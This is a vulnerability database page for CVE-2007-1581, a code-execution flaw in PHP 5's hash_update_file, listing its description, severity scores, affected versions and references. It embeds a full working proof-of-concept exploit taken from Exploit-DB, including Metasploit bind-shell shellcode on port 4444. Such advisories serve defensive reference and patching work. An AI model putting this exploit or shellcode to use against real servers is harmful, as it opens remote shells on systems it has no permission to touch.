CVE-2007-1581 : Detail

CVE-2007-1581

Code Injection
A03-Injection
1.87%V3
Network
2007-03-21
22h00 +00:00
2017-10-09
22h57 +00:00
CVE.org
NVD
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CVE Descriptions

The resource system in PHP 5.0.0 through 5.2.1 allows context-dependent attackers to execute arbitrary code by interrupting the hash_update_file function via a userspace (1) error or (2) stream handler, which can then be used to destroy and modify internal resources. NOTE: it was later reported that PHP 5.2 through 5.2.13 and 5.3 through 5.3.2 are also affected.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 3529

Publication date : 2007-03-19 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP hash_update_file() freed resource usage exploit // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); // linux x86 bindshell on port 4444 from Metasploit $shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46". "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f". "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6". "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06". "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc". "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d". "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65"; define("OFFSET", pack("L",findOffset())); class AttackStream { function stream_open($path, $mode, $options, &$opened_path) { return true; } function stream_read($count) { hash_final($GLOBALS['hid'], true); $GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3); return "A"; } function stream_eof() { return true; } function stream_seek($offset, $whence) { return false; } } stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol"); $hid = hash_init('md5'); hash_update_file($hid, "attack://nothing"); // This function uses the substr_compare() vulnerability // to get the offset. function findOffset() { global $offset_1, $offset_2, $shellcode; // We need to NOT clear these variables, // otherwise the heap is too segmented global $memdump, $d, $arr; $sizeofHashtable = 39; $maxlong = 0x7fffffff; // Signature of a big endian Hashtable of size 256 with 1 element $search = "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00"; $memdump = str_repeat("A", 8192); for ($i=0; $i<400; $i++) { $d[$i]=array(); } unset($d[350]); $x = str_repeat("\x01", $sizeofHashtable); unset($d[351]); unset($d[352]); $arr = array(); for ($i=0; $i<129; $i++) { $arr[$i] = 1; } $arr[$shellcode] = 1; for ($i=0; $i<129; $i++) { unset($arr[$i]); } // If the libc memcmp leaks the information use it // otherwise we only get a case insensitive memdump $b = substr_compare(chr(65),chr(0),0,1,false) != 65; for ($i=0; $i<8192; $i++) { $y = substr_compare($x, chr(0), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b); if ($y-$Y == 1 || $Y-$y==1){ $y = chr($y); if ($b && strtoupper($y)!=$y) { if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) { $y = strtoupper($y); } } $memdump[$i] = $y; } else { $y = substr_compare($x, chr(1), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b); if ($y-$Y != 1 && $Y-$y!=1){ $memdump[$i] = chr(1); } else { $memdump[$i] = chr(0); } } } // Search hashtable to get the shellcode offset $pos_hashtable = strpos($memdump, $search); if ($pos_hashtable == 0) { die ("Unable to find the offset"); } $addr = substr($memdump, $pos_hashtable+6*4, 4); $addr = unpack("L", $addr); return ($addr[1] + 32); } ?> # milw0rm.com [2007-03-20]

Products Mentioned

Configuraton 0

Php>>Php >> Version 5.0

    Php>>Php >> Version 5.0

      Php>>Php >> Version 5.0

        Php>>Php >> Version 5.0.0

        Php>>Php >> Version 5.0.1

        Php>>Php >> Version 5.0.2

        Php>>Php >> Version 5.0.3

        Php>>Php >> Version 5.0.4

        Php>>Php >> Version 5.0.5

        Php>>Php >> Version 5.1.0

        Php>>Php >> Version 5.1.1

        Php>>Php >> Version 5.1.2

        Php>>Php >> Version 5.1.3

        Php>>Php >> Version 5.1.4

        Php>>Php >> Version 5.1.5

        Php>>Php >> Version 5.1.6

        Php>>Php >> Version 5.2.0

        Php>>Php >> Version 5.2.1

        Php>>Php >> Version 5.2.2

        Php>>Php >> Version 5.2.3

        Php>>Php >> Version 5.2.4

        Php>>Php >> Version 5.2.5

        Php>>Php >> Version 5.2.6

        Php>>Php >> Version 5.2.7

        Php>>Php >> Version 5.2.8

        Php>>Php >> Version 5.2.9

        Php>>Php >> Version 5.2.10

        Php>>Php >> Version 5.2.11

        Php>>Php >> Version 5.2.12

        Php>>Php >> Version 5.2.13

        Php>>Php >> Version 5.3.0

        Php>>Php >> Version 5.3.1

        Php>>Php >> Version 5.3.2

        References

        https://www.exploit-db.com/exploits/3529
        Tags : exploit, x_refsource_EXPLOIT-DB
        http://secunia.com/advisories/24542
        Tags : third-party-advisory, x_refsource_SECUNIA
        http://www.securityfocus.com/bid/23062
        Tags : vdb-entry, x_refsource_BID